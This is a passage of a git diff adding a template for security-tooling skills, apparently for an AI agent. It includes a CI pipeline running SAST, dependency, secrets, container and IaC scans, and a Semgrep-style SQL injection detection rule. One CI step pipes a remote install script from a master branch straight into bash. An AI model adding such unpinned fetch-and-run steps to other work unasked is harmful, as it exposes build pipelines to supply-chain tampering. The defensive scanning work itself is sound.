"skills/devsecops/container-grype/references/EXAMPLE.md", + "sha256": "d830809dec44c82770c5ef0fe12831754f113931dc739891a1ec8186aefc629f" + }, + { + "path": "skills/devsecops/container-grype/references/cisa_kev.md", + "sha256": "a32f4c328b0b4a482f2065780b8289e41e1a41f8c2d0f5af99493c4010a2f808" + }, + { + "path": "skills/devsecops/container-grype/references/WORKFLOW_CHECKLIST.md", + "sha256": "f667c8d5c6e5c50b491643d644082ff202a6bb94476e0e7b648c6d0e5c8a080f" + }, + { + "path": "skills/devsecops/container-grype/references/cvss_guide.md", + "sha256": "91d9d26f6b0becafb4dae8305697f546a9a2b3f8a942414449e4d25b645d1b30" + }, + { + "path": "skills/devsecops/container-grype/assets/rule-template.yaml", + "sha256": "cb228a390bcd3745cafb1783c6337d9106ae179e853935ae19c90caac10a0497" + }, + { + "path": "skills/devsecops/container-grype/assets/ci-config-template.yml", + "sha256": "0fc554799a0e03a44883990f208f2a428f3c1e70eed1a9bcfbc01e728962b91e" + }, + { + "path": "skills/devsecops/container-grype/assets/.gitkeep", + "sha256": "8797ac65855e90585e4b97ad43f94b785dc73305a27b35995b3e5c75c6c4d268" + }, + { + "path": "skills/devsecops/container-grype/assets/grype-ci-config.yml", + "sha256": "062f508d44bff28c01dae27d2646a5b352548766de6661ded68bbac45d0d7eec" + }, + { + "path": "skills/devsecops/container-grype/assets/grype-config.yaml", + "sha256": "6e62f80d9878e743cf4a2a2f993bf8e16127d6cc6998fb3451af7114041283ac" + }, + { + "path": "skills/devsecops/sca-trivy/SKILL.md", + "sha256": "967b8db690d6cf24c5c22e86663188e3080173e77084a57585efdceb1c867c25" + }, + { + "path": "skills/appsec/.category", + "sha256": "bb2e3c7f339549eaf507d919c3702cb18e2a4cd925d78fd9cb31403bd4c29083" + }, + { + "path": "skills/appsec/dast-nuclei/SKILL.md", + "sha256": "2a5faaf9cb2307f9fd895b53a28caa59b214520bfe83030dd209a68919b71a5d" + }, + { + "path": "skills/appsec/dast-nuclei/references/template_development.md", + "sha256": "f57e523b42368f985eaed0ed7fbbd5e750e37bbfb7a360e3b7aeb4bc2442f076" + }, + { + "path": "skills/appsec/dast-nuclei/references/false_positive_guide.md", + "sha256": "099a3dda219851957fb4f4391ed10264e073b0785edc04020d104c6d9147c00d" + }, + { + "path": "skills/appsec/dast-nuclei/references/EXAMPLE.md", + "sha256": "d830809dec44c82770c5ef0fe12831754f113931dc739891a1ec8186aefc629f" + }, + { + "path": "skills/appsec/dast-nuclei/references/owasp_mapping.md", + "sha256": "3112d9ce5045d2a7ed265cb82b081daff5463ae6f17ab497e626bfa69db1ca05" + }, + { + "path": "skills/appsec/dast-nuclei/references/WORKFLOW_CHECKLIST.md", + "sha256": "f667c8d5c6e5c50b491643d644082ff202a6bb94476e0e7b648c6d0e5c8a080f" + }, + { + "path": "skills/appsec/dast-nuclei/references/authentication_patterns.md", + "sha256": "1cf460e41949b91ddbb8255bf55d0d12fea554b1e78ab93b37264a57e8bbd3d6" + }, + { + "path": "skills/appsec/dast-nuclei/assets/rule-template.yaml", + "sha256": "cb228a390bcd3745cafb1783c6337d9106ae179e853935ae19c90caac10a0497" + }, + { + "path": "skills/appsec/dast-nuclei/assets/ci-config-template.yml", + "sha256": "0fc554799a0e03a44883990f208f2a428f3c1e70eed1a9bcfbc01e728962b91e" + }, + { + "path": "skills/appsec/dast-nuclei/assets/nuclei_config.yaml", + "sha256": "d6024b55b3552c0fdc5bc1e85d24367d9338764079297734e0bcb3cf8dff1ce0" + }, + { + "path": "skills/appsec/dast-nuclei/assets/.gitkeep", + "sha256": "8797ac65855e90585e4b97ad43f94b785dc73305a27b35995b3e5c75c6c4d268" + }, + { + "path": "skills/appsec/dast-nuclei/assets/github_actions.yml", + "sha256": "92b89dab738a07c4a522d13b022687b9ad218c968845224c80db3ce060efac57" + }, + { + "path": "skills/appsec/dast-zap/SKILL.md", + "sha256": "6a30d5357ec7c608ba95c6ed749342df8a290da0bb1ef9ffe61e062d8fdbc877" + }, + { + "path": "skills/appsec/dast-zap/references/EXAMPLE.md", + "sha256": "4d40f728ee4dce695b400d6e51100129880dc4397eb6b03ebc2bbd5250dd9e05" + }, + { + "path": "skills/appsec/dast-zap/references/authentication_guide.md", + "sha256": "b054fa0ff63d046582ea034dee1c05ea538fe3a939e8075dabda28f9519f3154" + }, + { + "path": "skills/appsec/dast-zap/references/owasp_mapping.md", + "sha256": "c38e45e0505ac2553730d4fa2c99e8d14bd73213f4787241dff214c27e914ff0" + }, + { + "path": "skills/appsec/dast-zap/references/false_positive_handling.md", + "sha256": "f7edc28803f58ff1455c0f17038073fbf1dd7f8cea53681a7392b894957a0f3d" + }, + { + "path": "skills/appsec/dast-zap/references/api_testing_guide.md", + "sha256": "d1cb740bc2d0248ae590f6b6d120552fe864804c9cb0775689a75cf98497c4df" + }, + { + "path": "skills/appsec/dast-zap/assets/.gitkeep", + "sha256": "8797ac65855e90585e4b97ad43f94b785dc73305a27b35995b3e5c75c6c4d268" + }, + { + "path": "skills/appsec/dast-zap/assets/zap_automation.yaml", + "sha256": "9ad7061588761ebdb1d2c31b8cc6908b8def3940b46ec6e6be7de575f5d507d1" + }, + { + "path": "skills/appsec/dast-zap/assets/gitlab_ci.yml", + "sha256": "f6e5ec82be846321c6db4b8383fbd5bfc692010bc87c4a62788bcba8e98f1932" + }, + { + "path": "skills/appsec/dast-zap/assets/zap_context.xml", + "sha256": "85203f129c99e1bc10f4074029d23bd81333b019f0a4fbc946438d68babfae27" + }, + { + "path": "skills/appsec/dast-zap/assets/github_action.yml", + "sha256": "43f1c7c244b220ed70b276c4a00ebfba8e1a42da1d266a800c441baa54a54f96" + }, + { + "path": "skills/appsec/sast-bandit/SKILL.md", + "sha256": "2136f3e3934b62184785bf564e354428b51697a7b55db36586738d8b4a0fdcfc" + }, + { + "path": "skills/appsec/sast-bandit/references/remediation_guide.md", + "sha256": "f8dd9b39d6850508881f099c9068e75c8cbcfbb2bc7691f29364949d41590233" + }, + { + "path": "skills/appsec/sast-bandit/references/cwe_owasp_mapping.md", + "sha256": "27fec4547b67e251d8366a46fcd6de60bab5cbe3d964a4eb3b10f7f99be366a9" + }, + { + "path": "skills/appsec/sast-bandit/assets/pre-commit-config.yaml", + "sha256": "64060df1962ecc3bda2ac0e6e75ecb30b667d5cd1c484e77756b842a738bc33d" + }, + { + "path": "skills/appsec/sast-bandit/assets/.gitkeep", + "sha256": "8797ac65855e90585e4b97ad43f94b785dc73305a27b35995b3e5c75c6c4d268" + }, + { + "path": "skills/appsec/sast-bandit/assets/bandit_config.yaml", + "sha256": "e31251c269744a040ebdd66440b4f9bded3887230e3ce8f3f0193af18f2f843f" + }, + { + "path": "skills/appsec/api-mitmproxy/SKILL.md", + "sha256": "ea21648bbd8444229d48ebaefcf2fefd63e5662a7c91bc129728b7aa61cbe7bf" + }, + { + "path": "skills/appsec/api-mitmproxy/references/EXAMPLE.md", + "sha256": "d830809dec44c82770c5ef0fe12831754f113931dc739891a1ec8186aefc629f" + }, + { + "path": "skills/appsec/api-mitmproxy/references/WORKFLOW_CHECKLIST.md", + "sha256": "f667c8d5c6e5c50b491643d644082ff202a6bb94476e0e7b648c6d0e5c8a080f" + }, + { + "path": "skills/appsec/api-mitmproxy/assets/rule-template.yaml", + "sha256": "cb228a390bcd3745cafb1783c6337d9106ae179e853935ae19c90caac10a0497" + }, + { + "path": "skills/appsec/api-mitmproxy/assets/ci-config-template.yml", + "sha256": "0fc554799a0e03a44883990f208f2a428f3c1e70eed1a9bcfbc01e728962b91e" + }, + { + "path": "skills/appsec/api-mitmproxy/assets/.gitkeep", + "sha256": "8797ac65855e90585e4b97ad43f94b785dc73305a27b35995b3e5c75c6c4d268" + }, + { + "path": "skills/appsec/api-spectral/SKILL.md", + "sha256": "52f043e774ab5f60a52c7e9987d8f940dbf59c2779374528236c1fe52ef7db97" + }, + { + "path": "skills/appsec/api-spectral/references/custom_rules_guide.md", + "sha256": "4d8f65afd6b7affb6406f40420028110d9f5f1da2de5c11afe3bdd4d79775678" + }, + { + "path": "skills/appsec/api-spectral/references/EXAMPLE.md", + "sha256": "d830809dec44c82770c5ef0fe12831754f113931dc739891a1ec8186aefc629f" + }, + { + "path": "skills/appsec/api-spectral/references/owasp_api_mappings.md", + "sha256": "556a0785571a43249a55d0f3bf8ddbb7e17dd4e83812de1c92e70d57ebd8009d" + }, + { + "path": "skills/appsec/api-spectral/references/WORKFLOW_CHECKLIST.md", + "sha256": "f667c8d5c6e5c50b491643d644082ff202a6bb94476e0e7b648c6d0e5c8a080f" + }, + { + "path": "skills/appsec/api-spectral/assets/rule-template.yaml", + "sha256": "cb228a390bcd3745cafb1783c6337d9106ae179e853935ae19c90caac10a0497" + }, + { + "path": "skills/appsec/api-spectral/assets/spectral-owasp.yaml", + "sha256": "36a5b5860e2466fe48519fdbcaed9e1986f69b8c3db620b488ee88e3196b8a4d" + }, + { + "path": "skills/appsec/api-spectral/assets/ci-config-template.yml", + "sha256": "0fc554799a0e03a44883990f208f2a428f3c1e70eed1a9bcfbc01e728962b91e" + }, + { + "path": "skills/appsec/api-spectral/assets/.gitkeep", + "sha256": "8797ac65855e90585e4b97ad43f94b785dc73305a27b35995b3e5c75c6c4d268" + }, + { + "path": "skills/appsec/api-spectral/assets/github-actions-template.yml", + "sha256": "9ba85c59521b864819df8d765b5c7d4c2eb0b208d48d96a193a1cfaa88503800" + }, + { + "path": "skills/appsec/sca-blackduck/SKILL.md", + "sha256": "423c6c504e7d1c7d813281bb58789e3d49dd1fec85872296c662788dbe6e3eff" + }, + { + "path": "skills/appsec/sca-blackduck/references/remediation_strategies.md", + "sha256": "b4ae33edff44fe8faec0dc77575ab61bc902c507a19aa8de42c13c44ecb0d3b7" + }, + { + "path": "skills/appsec/sca-blackduck/references/supply_chain_threats.md", + "sha256": "f94b46eaa88b5b7464264e0d0f313e7cb52880ff501055f6be171a40c04ad6ea" + }, + { + "path": "skills/appsec/sca-blackduck/references/EXAMPLE.md", + "sha256": "d830809dec44c82770c5ef0fe12831754f113931dc739891a1ec8186aefc629f" + }, + { + "path": "skills/appsec/sca-blackduck/references/WORKFLOW_CHECKLIST.md", + "sha256": "f667c8d5c6e5c50b491643d644082ff202a6bb94476e0e7b648c6d0e5c8a080f" + }, + { + "path": "skills/appsec/sca-blackduck/references/license_risk_guide.md", + "sha256": "d6cc3eb15ff779116aa093f5e05c1ff10c7747a467b3baf596f217b424568016" + }, + { + "path": "skills/appsec/sca-blackduck/references/cve_cwe_owasp_mapping.md", + "sha256": "17d1342a46bc079ce645f890b7fbbb33207a4086c550f7ccd5d2200895b85171" + }, + { + "path": "skills/appsec/sca-blackduck/assets/rule-template.yaml", + "sha256": "cb228a390bcd3745cafb1783c6337d9106ae179e853935ae19c90caac10a0497" + }, + { + "path": "skills/appsec/sca-blackduck/assets/blackduck_config.yml", + "sha256": "f0449e0111a2e45ead976a56fb161bcb92cb86c5c087332bed0a77797a9ceb4b" + }, + { + "path": "skills/appsec/sca-blackduck/assets/ci-config-template.yml", + "sha256": "0fc554799a0e03a44883990f208f2a428f3c1e70eed1a9bcfbc01e728962b91e" + }, + { + "path": "skills/appsec/sca-blackduck/assets/.gitkeep", + "sha256": "8797ac65855e90585e4b97ad43f94b785dc73305a27b35995b3e5c75c6c4d268" + }, + { + "path": "skills/appsec/sca-blackduck/assets/policy_templates/security_policy.json", + "sha256": "c851cf1d2927d8972bf919260a252d1c0918fd67ede30f654a006b5520131072" + }, + { + "path": "skills/appsec/sca-blackduck/assets/ci_integration/jenkins_pipeline.groovy", + "sha256": "f52bcf94f468dcfd210948d804599c7116b711b24b7812663fb8b3644383e578" + }, + { + "path": "skills/appsec/sca-blackduck/assets/ci_integration/gitlab_ci.yml", + "sha256": "6c1dc666f3d60883306e24125457241c64d26954a6d834eafa25f7e0fdf54577" + }, + { + "path": "skills/appsec/sca-blackduck/assets/ci_integration/github_actions.yml", + "sha256": "ff919148fab86d7cb701ad2b30a8bde678164bbabe066f499c5b1d6a4f8ca730" + }, + { + "path": "skills/appsec/sast-semgrep/SKILL.md", + "sha256": "40cdb04d3858fe0f3b3ded6cda2bd802cae34fd45c3d1e48e12f66a17e2010c1" + }, + { + "path": "skills/appsec/sast-semgrep/references/remediation_guide.md", + "sha256": "a3d02c9d289c673b13dc41336ef1fdfddf354d7035f1d680c68739e3ff865e2d" + }, + { + "path": "skills/appsec/sast-semgrep/references/rule_library.md", + "sha256": "126e07f0d7d56830a7f4350655bf2a35452b56af05857e6eb4fcda8073936fb0" + }, + { + "path": "skills/appsec/sast-semgrep/references/owasp_cwe_mapping.md", + "sha256": "94b118d267ca34820be1ae718e38a7f38b0f02d29db5c3023e9570afe1f2826a" + }, + { + "path": "skills/appsec/sast-semgrep/assets/semgrep_config.yaml", + "sha256": "a1faf21eafb6d251b8ebf57fcc7f2684c49df5c804954ac774de991ffabb9fe2" + }, + { + "path": "skills/appsec/sast-semgrep/assets/rule_template.yaml", + "sha256": "68148921a1c04bccfdbd428fad83d32b2f821c5c0cd8d7b522e88892e9e69b2f" + }, + { + "path": "skills/appsec/sast-semgrep/assets/ci_config_examples/github-actions.yml", + "sha256": "25bced81c2703599f00ede222f65eac37f556685fc8fa36e89c3ad9045572a34" + }, + { + "path": "skills/appsec/sast-semgrep/assets/ci_config_examples/gitlab-ci.yml", + "sha256": "0ef0de49d01a303262556ce22a3a87c22e3d66ac9174a2e338a51bee75bd5786" + }, + { + "path": "skills/appsec/sast-semgrep/assets/ci_config_examples/jenkins.groovy", + "sha256": "d628e84ea74e96f7c339b2f525d1f20c52a806edc68ebcbba48cb1b224c87165" + }, + { + "path": "skills/appsec/dast-ffuf/SKILL.md", + "sha256": "e3a471e5627a0953588214e52c09fc34db3ae0511bdf8e40c0961b9bc5d5f571" + }, + { + "path": "skills/appsec/dast-ffuf/references/EXAMPLE.md", + "sha256": "d830809dec44c82770c5ef0fe12831754f113931dc739891a1ec8186aefc629f" + }, + { + "path": "skills/appsec/dast-ffuf/references/WORKFLOW_CHECKLIST.md", + "sha256": "f667c8d5c6e5c50b491643d644082ff202a6bb94476e0e7b648c6d0e5c8a080f" + }, + { + "path": "skills/appsec/dast-ffuf/assets/rule-template.yaml", + "sha256": "cb228a390bcd3745cafb1783c6337d9106ae179e853935ae19c90caac10a0497" + }, + { + "path": "skills/appsec/dast-ffuf/assets/ci-config-template.yml", + "sha256": "0fc554799a0e03a44883990f208f2a428f3c1e70eed1a9bcfbc01e728962b91e" + }, + { + "path": "skills/appsec/dast-ffuf/assets/.gitkeep", + "sha256": "8797ac65855e90585e4b97ad43f94b785dc73305a27b35995b3e5c75c6c4d268" + }, + { + "path": "skills/threatmodel/.category", + "sha256": "f082499b32d8d8215cbb78a920d2e9235b49ffba0f1f24c6697e52a02dedb917" + }, + { + "path": "skills/threatmodel/pytm/SKILL.md", + "sha256": "f148ac5a58ecdb02a665e53d269b96157e3b36dda16abe5c326d4d2869e40c5e" + } + ], + "dirSha256": "e8336ab513f3b4f12483aeadde15f794009b76332cfcdb8666f2a97a34d0adb6" + }, + "security": { + "scannedAt": null, + "scannerVersion": null, + "flags": [] + } +} \ No newline at end of file diff --git a/skills/_template/SKILL.md b/skills/_template/SKILL.md new file mode 100644 index 0000000..771956d --- /dev/null +++ b/skills/_template/SKILL.md @@ -0,0 +1,157 @@ +--- +name: skill-name +description: > + [REQUIRED] Comprehensive description of what this skill does and when to use it. + Include: (1) Primary functionality, (2) Specific use cases, (3) Security operations context. + Must include specific "Use when:" clause for skill discovery. + Example: "SAST vulnerability analysis and remediation guidance using Semgrep and industry + security standards. Use when: (1) Analyzing static code for security vulnerabilities, + (2) Prioritizing security findings by severity, (3) Providing secure coding remediation, + (4) Integrating security checks into CI/CD pipelines." + Maximum 1024 characters. +version: 0.1.0 +maintainer: your-github-username +category: [appsec|devsecops|secsdlc|threatmodel|compliance|incident-response] +tags: [relevant, security, tags] +frameworks: [OWASP|CWE|MITRE-ATT&CK|NIST|SOC2] +--- + + + +# Skill Name + +## Overview + +Brief overview of what this skill provides and its security operations context. + +## Quick Start + +Provide the minimal example to get started immediately: + +```bash +# Example command or workflow +tool-name --option value +``` + +## Core Workflow + +### Sequential Workflow + +For straightforward step-by-step operations: + +1. First action with specific command or operation +2. Second action with expected output or validation +3. Third action with decision points if needed + +### Workflow Checklist (for complex operations) + +For complex multi-step operations, use a checkable workflow: + +Progress: +[ ] 1. Initial setup and configuration +[ ] 2. Run primary security scan or analysis +[ ] 3. Review findings and classify by severity +[ ] 4. Apply remediation patterns +[ ] 5. Validate fixes with re-scan +[ ] 6. Document findings and generate report + +Work through each step systematically. Check off completed items. + +**For more workflow patterns**, see [references/WORKFLOW_CHECKLIST.md](references/WORKFLOW_CHECKLIST.md) + +### Feedback Loop Pattern (for validation) + +When validation and iteration are needed: + +1. Generate initial output (configuration, code, etc.) +2. Run validation: `./scripts/validator_example.py output.yaml` +3. Review validation errors and warnings +4. Fix identified issues +5. Repeat steps 2-4 until validation passes +6. Apply the validated output + +**Note**: Move detailed validation criteria to `references/` if complex. + +## Security Considerations + +- **Sensitive Data Handling**: Guidance on handling secrets, credentials, PII +- **Access Control**: Required permissions and authorization contexts +- **Audit Logging**: What should be logged for security auditing +- **Compliance**: Relevant compliance requirements (SOC2, GDPR, etc.) + +## Bundled Resources + +### Scripts (`scripts/`) + +Executable scripts for deterministic operations. Use scripts for low-freedom operations requiring consistency. + +- `example_script.py` - Python script template with argparse, error handling, and JSON output +- `example_script.sh` - Bash script template with argument parsing and colored output +- `validator_example.py` - Validation script demonstrating feedback loop pattern + +**When to use scripts**: +- Deterministic operations that must be consistent +- Complex parsing or data transformation +- Validation and quality checks + +### References (`references/`) + +On-demand documentation loaded when needed. Keep SKILL.md concise by moving detailed content here. + +- `EXAMPLE.md` - Template for reference documentation with security standards sections +- `WORKFLOW_CHECKLIST.md` - Multiple workflow pattern examples (sequential, conditional, iterative, feedback loop) + +**When to use references**: +- Detailed framework mappings (OWASP, CWE, MITRE ATT&CK) +- Advanced configuration options +- Language-specific patterns +- Content exceeding 100 lines + +### Assets (`assets/`) + +Templates and configuration files used in output (not loaded into context). These are referenced but not read until needed. + +- `ci-config-template.yml` - Security-enhanced CI/CD pipeline with SAST, dependency scanning, secrets detection +- `rule-template.yaml` - Security rule template with OWASP/CWE mappings and remediation guidance + +**When to use assets**: +- Configuration templates +- Policy templates +- Boilerplate secure code +- CI/CD pipeline examples + +## Common Patterns + +### Pattern 1: [Pattern Name] + +Description and example of common usage pattern. + +### Pattern 2: [Pattern Name] + +Additional patterns as needed. + +## Integration Points + +- **CI/CD**: How this integrates with build pipelines +- **Security Tools**: Compatible security scanning/monitoring tools +- **SDLC**: Where this fits in the secure development lifecycle + +## Troubleshooting + +### Issue: [Common Problem] + +**Solution**: Steps to resolve. + +## References + +- [Tool Documentation](https://example.com) +- [Security Framework](https://owasp.org) +- [Compliance Standard](https://example.com) diff --git a/skills/_template/assets/.gitkeep b/skills/_template/assets/.gitkeep new file mode 100644 index 0000000..189ed78 --- /dev/null +++ b/skills/_template/assets/.gitkeep @@ -0,0 +1,9 @@ +# Assets Directory + +Place files that will be used in the output Claude produces: +- Templates +- Configuration files +- Images/logos +- Boilerplate code + +These files are NOT loaded into context but copied/modified in output. diff --git a/skills/_template/assets/ci-config-template.yml b/skills/_template/assets/ci-config-template.yml new file mode 100644 index 0000000..367cdbb --- /dev/null +++ b/skills/_template/assets/ci-config-template.yml @@ -0,0 +1,357 @@ +# Security-Enhanced CI/CD Pipeline Template +# +# This template demonstrates security best practices for CI/CD pipelines. +# Adapt this template to your specific security tool and workflow needs. +# +# Key Security Features: +# - SAST (Static Application Security Testing) +# - Dependency vulnerability scanning +# - Secrets detection +# - Infrastructure-as-Code security scanning +# - Container image scanning +# - Security artifact uploading for compliance + +name: Security Scan Pipeline + +on: + push: + branches: [main, develop] + pull_request: + branches: [main, develop] + schedule: + # Run weekly security scans on Sunday at 2 AM UTC + - cron: '0 2 * * 0' + workflow_dispatch: # Allow manual trigger + +# Security: Restrict permissions to minimum required +permissions: + contents: read + security-events: write # For uploading SARIF results + pull-requests: write # For commenting on PRs + +env: + # Configuration + SECURITY_SCAN_FAIL_ON: 'critical,high' # Fail build on these severities + REPORT_DIR: 'security-reports' + +jobs: + # Job 1: Static Application Security Testing (SAST) + sast-scan: + name: SAST Security Scan + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 # Full history for better analysis + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Run SAST Scanner + run: | + # Example: Using Semgrep for SAST + pip install semgrep + semgrep --config=auto \ + --json \ + --output ${{ env.REPORT_DIR }}/sast-results.json \ + . || true + + # Alternative: Bandit for Python projects + # pip install bandit + # bandit -r . -f json -o ${{ env.REPORT_DIR }}/bandit-results.json + + - name: Process SAST Results + run: | + # Parse results and fail on critical/high severity + python3 -c " + import json + import sys + + with open('${{ env.REPORT_DIR }}/sast-results.json') as f: + results = json.load(f) + + critical = len([r for r in results.get('results', []) if r.get('extra', {}).get('severity') == 'ERROR']) + high = len([r for r in results.get('results', []) if r.get('extra', {}).get('severity') == 'WARNING']) + + print(f'Critical findings: {critical}') + print(f'High findings: {high}') + + if critical > 0: + print('❌ Build failed: Critical security issues found') + sys.exit(1) + elif high > 0: + print('⚠️ Warning: High severity issues found') + # Optionally fail on high severity + # sys.exit(1) + else: + print('✅ No critical security issues found') + " + + - name: Upload SAST Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: sast-results + path: ${{ env.REPORT_DIR }}/sast-results.json + retention-days: 30 + + # Job 2: Dependency Vulnerability Scanning + dependency-scan: + name: Dependency Vulnerability Scan + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Scan Python Dependencies + if: hashFiles('requirements.txt') != '' + run: | + pip install safety + safety check \ + --json \ + --output ${{ env.REPORT_DIR }}/safety-results.json \ + || true + + - name: Scan Node Dependencies + if: hashFiles('package.json') != '' + run: | + npm audit --json > ${{ env.REPORT_DIR }}/npm-audit.json || true + + - name: Process Dependency Results + run: | + # Check for critical vulnerabilities + if [ -f "${{ env.REPORT_DIR }}/safety-results.json" ]; then + critical_count=$(python3 -c "import json; data=json.load(open('${{ env.REPORT_DIR }}/safety-results.json')); print(len([v for v in data.get('vulnerabilities', []) if v.get('severity', '').lower() == 'critical']))") + echo "Critical vulnerabilities: $critical_count" + if [ "$critical_count" -gt "0" ]; then + echo "❌ Build failed: Critical vulnerabilities in dependencies" + exit 1 + fi + fi + + - name: Upload Dependency Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: dependency-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 3: Secrets Detection + secrets-scan: + name: Secrets Detection + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 # Full history to scan all commits + + - name: Run Gitleaks + uses: gitleaks/gitleaks-action@v2 + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + GITLEAKS_ENABLE_SUMMARY: true + + - name: Alternative - TruffleHog Scan + if: false # Set to true to enable + run: | + pip install truffleHog + trufflehog --json --regex --entropy=True . \ + > ${{ env.REPORT_DIR }}/trufflehog-results.json || true + + - name: Upload Secrets Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: secrets-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 4: Container Image Scanning + container-scan: + name: Container Image Security Scan + runs-on: ubuntu-latest + if: hashFiles('Dockerfile') != '' + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Build Docker Image + run: | + docker build -t app:${{ github.sha }} . + + - name: Run Trivy Scanner + uses: aquasecurity/trivy-action@master + with: + image-ref: app:${{ github.sha }} + format: 'sarif' + output: '${{ env.REPORT_DIR }}/trivy-results.sarif' + severity: 'CRITICAL,HIGH' + + - name: Upload Trivy Results to GitHub Security + if: always() + uses: github/codeql-action/upload-sarif@v3 + with: + sarif_file: '${{ env.REPORT_DIR }}/trivy-results.sarif' + + - name: Upload Container Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: container-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 5: Infrastructure-as-Code Security Scanning + iac-scan: + name: IaC Security Scan + runs-on: ubuntu-latest + if: hashFiles('**/*.tf', '**/*.yaml', '**/*.yml') != '' + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Run Checkov + run: | + pip install checkov + checkov -d . \ + --output json \ + --output-file ${{ env.REPORT_DIR }}/checkov-results.json \ + --quiet \ + || true + + - name: Run tfsec (for Terraform) + if: hashFiles('**/*.tf') != '' + run: | + curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash + tfsec . \ + --format json \ + --out ${{ env.REPORT_DIR }}/tfsec-results.json \ + || true + + - name: Process IaC Results + run: | + # Fail on critical findings + if [ -f "${{ env.REPORT_DIR }}/checkov-results.json" ]; then + critical_count=$(python3 -c "import json; data=json.load(open('${{ env.REPORT_DIR }}/checkov-results.json')); print(data.get('summary', {}).get('failed', 0))") + echo "Failed checks: $critical_count" + if [ "$critical_count" -gt "0" ]; then + echo "⚠️ Warning: IaC security issues found" + # Optionally fail the build + # exit 1 + fi + fi + + - name: Upload IaC Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: iac-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 6: Security Report Generation and Notification + security-report: + name: Generate Security Report + runs-on: ubuntu-latest + needs: [sast-scan, dependency-scan, secrets-scan] + if: always() + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Download All Scan Results + uses: actions/download-artifact@v4 + with: + path: all-results/ + + - name: Generate Consolidated Report + run: | + # Consolidate all security scan results + mkdir -p consolidated-report + + cat > consolidated-report/security-summary.md << 'EOF' + # Security Scan Summary + + **Scan Date**: $(date -u +"%Y-%m-%d %H:%M:%S UTC") + **Commit**: ${{ github.sha }} + **Branch**: ${{ github.ref_name }} + + ## Scan Results + + ### SAST Scan + See artifacts: `sast-results` + + ### Dependency Scan + See artifacts: `dependency-scan-results` + + ### Secrets Scan + See artifacts: `secrets-scan-results` + + ### Container Scan + See artifacts: `container-scan-results` + + ### IaC Scan + See artifacts: `iac-scan-results` + + --- + + For detailed results, download scan artifacts from this workflow run. + EOF + + - name: Comment on PR (if applicable) + if: github.event_name == 'pull_request' + uses: actions/github-script@v7 + with: + script: | + const fs = require('fs'); + const report = fs.readFileSync('consolidated-report/security-summary.md', 'utf8'); + + github.rest.issues.createComment({ + issue_number: context.issue.number, + owner: context.repo.owner, + repo: context.repo.repo, + body: report + }); + + - name: Upload Consolidated Report + if: always() + uses: actions/upload-artifact@v4 + with: + name: consolidated-security-report + path: consolidated-report/ + retention-days: 90 + +# Security Best Practices Demonstrated: +# +# 1. ✅ Minimal permissions (principle of least privilege) +# 2. ✅ Multiple security scan types (defense in depth) +# 3. ✅ Fail-fast on critical findings +# 4. ✅ Secrets detection across full git history +# 5. ✅ Container image scanning before deployment +# 6. ✅ IaC scanning for misconfigurations +# 7. ✅ Artifact retention for compliance audit trail +# 8. ✅ SARIF format for GitHub Security integration +# 9. ✅ Scheduled scans for continuous monitoring +# 10. ✅ PR comments for developer feedback +# +# Compliance Mappings: +# - SOC 2: CC6.1, CC6.6, CC7.2 (Security monitoring and logging) +# - PCI-DSS: 6.2, 6.5 (Secure development practices) +# - NIST: SA-11 (Developer Security Testing) +# - OWASP: Integrated security testing throughout SDLC diff --git a/skills/_template/assets/rule-template.yaml b/skills/_template/assets/rule-template.yaml new file mode 100644 index 0000000..2aebcfe --- /dev/null +++ b/skills/_template/assets/rule-template.yaml @@ -0,0 +1,355 @@ +# Security Rule Template +# +# This template demonstrates how to structure security rules/policies. +# Adapt this template to your specific security tool (Semgrep, OPA, etc.) +# +# Rule Structure Best Practices: +# - Clear rule ID and metadata +# - Severity classification +# - Framework mappings (OWASP, CWE) +# - Remediation guidance +# - Example vulnerable and fixed code + +rules: + # Example Rule 1: SQL Injection Detection + - id: sql-injection-string-concatenation + metadata: + name: "SQL Injection via String Concatenation" + description: "Detects potential SQL injection vulnerabilities from string concatenation in SQL queries" + severity: "HIGH" + category: "security" + subcategory: "injection" + + # Security Framework Mappings + owasp: + - "A03:2021 - Injection" + cwe: + - "CWE-89: SQL Injection" + mitre_attack: + - "T1190: Exploit Public-Facing Application" + + # Compliance Standards + compliance: + - "PCI-DSS 6.5.1: Injection flaws" + - "NIST 800-53 SI-10: Information Input Validation" + + # Confidence and Impact + confidence: "HIGH" + likelihood: "HIGH" + impact: "HIGH" + + # References + references: + - "https://owasp.org/www-community/attacks/SQL_Injection" + - "https://cwe.mitre.org/data/definitions/89.html" + - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html" + + # Languages this rule applies to + languages: + - python + - javascript + - java + - go + + # Detection Pattern (example using Semgrep-style syntax) + pattern-either: + - pattern: | + cursor.execute($SQL + $VAR) + - pattern: | + cursor.execute(f"... {$VAR} ...") + - pattern: | + cursor.execute("..." + $VAR + "...") + + # What to report when found + message: | + Potential SQL injection vulnerability detected. SQL query is constructed using + string concatenation or f-strings with user input. This allows attackers to + inject malicious SQL code. + + Use parameterized queries instead: + - Python: cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,)) + - JavaScript: db.query("SELECT * FROM users WHERE id = $1", [userId]) + + See: https://owasp.org/www-community/attacks/SQL_Injection + + # Suggested fix (auto-fix 